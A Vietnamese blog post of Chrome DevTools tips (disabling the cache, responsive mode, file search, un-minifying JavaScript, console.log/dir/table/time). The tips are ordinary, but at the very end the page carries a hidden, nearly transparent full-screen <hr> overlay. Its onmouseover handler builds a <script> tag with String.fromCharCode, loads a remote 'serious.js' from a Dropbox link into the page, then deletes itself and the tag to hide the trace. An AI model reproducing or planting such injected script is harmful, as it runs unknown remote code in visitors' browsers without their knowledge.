12/08/2018, 13:32

Debug & tip and tricks in Google Chrome DevTools

Nếu là một lập trình viên web lâu năm, chắc hẳn bạn còn nhớ Firefox với firebug(con bọ) 'thần thánh' một thời của các web developer. Tuy nhiên, Google chrome đã nổi lên và hiện nay rất nhiều developer dùng Chrome để phát triển web. Mình xin giới thiệu một số tính năng cũng như extention hay của ...

Nếu là một lập trình viên web lâu năm, chắc hẳn bạn còn nhớ Firefox với firebug(con bọ) 'thần thánh' một thời của các web developer. Tuy nhiên, Google chrome đã nổi lên và hiện nay rất nhiều developer dùng Chrome để phát triển web. Mình xin giới thiệu một số tính năng cũng như extention hay của Chrome dành cho web developer.

1. Disable cache (while DevTools is open)

Đã bao giờ bạn sửa file js, css rồi f5 trình duyệt và vò đầu tự hỏi: "rõ ràng đoạn này mình sửa rồi mà". Rất có thể là do cache của trình duyệt đang lưu lại file js, css cũ. Tốt nhất bạn nên vào F12->F1 và check vào Disable cache (while DevTools is open).

Screenshot from 2016-06-24 08:44:12.png

2. Kiểm tra responsive cho web của bạn

Một trong những tính năng khá mạnh của chrome là kiểm tra responsive. Bạn vào F12->Ctrl+Shift+M và chọn cũng như kéo cho phù hợp với loại màn hình bạn muốn test. Screenshot from 2016-06-24 09:03:47.png

3. Tìm kiếm file

Giống như sublime text, bạn có thể Ctrl+P và tìm đến file CSS, JS bạn mong muốn (phải bật F12 trước).

4. Làm việc với REST API.

Nếu làm việc với REST API, bạn có thể cài đặt advande REST client để kiểm tra và làm việc. Screenshot from 2016-06-24 09:17:11.png

5. Giải minify và làm đẹp js

Minify Javascript được dùng để giảm kích thước truyền tải và tăng tốc website. Tuy nhiên, đôi khi bạn phải đào bới trong đống code Javascript đã được minify để tìm kiếm lỗi, và đó thực sự là một nỗi ác mộng.

Tuy nhiên, nếu bạn đang sử dụng Chrome Dev Tools, bạn có thể thở phào nhẹ nhõm. Bạn chỉ cần bật qua tab Sources, và nhấp chọn vào nút có hình ngoặc nhọn Screenshot from 2016-06-24 09:38:02.png

6. Thuần phục console API

Các hàm thường được dùng nhất trong Console API:

console.log

Hàm này sẽ in giá trị của một hay nhiều biến/đối tượng/công thức truyền vào.

Screenshot from 2016-06-24 09:52:08.png

console.dir

console.dir() liệt kê tất cả thuộc tính bên trong một đối tượng hay một mảng trong Javascript. Screenshot from 2016-06-24 09:54:38.png

console.table

Đây có lẽ là hàm hữu ích nhất khi làm việc với nhiều đối tượng và mảng. Hàm này sẽ giúp in các giá trị của mảng hay đối tượng dưới dạng bảng. Bảng này hỗ trợ lập trình viên dễ quan sát, so sánh và sắp xếp các giá trị theo ý muốn.

Screenshot from 2016-06-24 09:55:36.png

console.time

Nếu bạn quan tâm đến tốc độ chạy của các hàm hay thuật toán, đây là hàm dành riêng cho bạn khi giúp đo thời gian chạy giữa console.time() và console.timeEnd() theo mili giây. Screenshot from 2016-06-24 09:56:30.png

Bài viết có tham khảo trên internet và trang Karmi Phuc.

<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">
0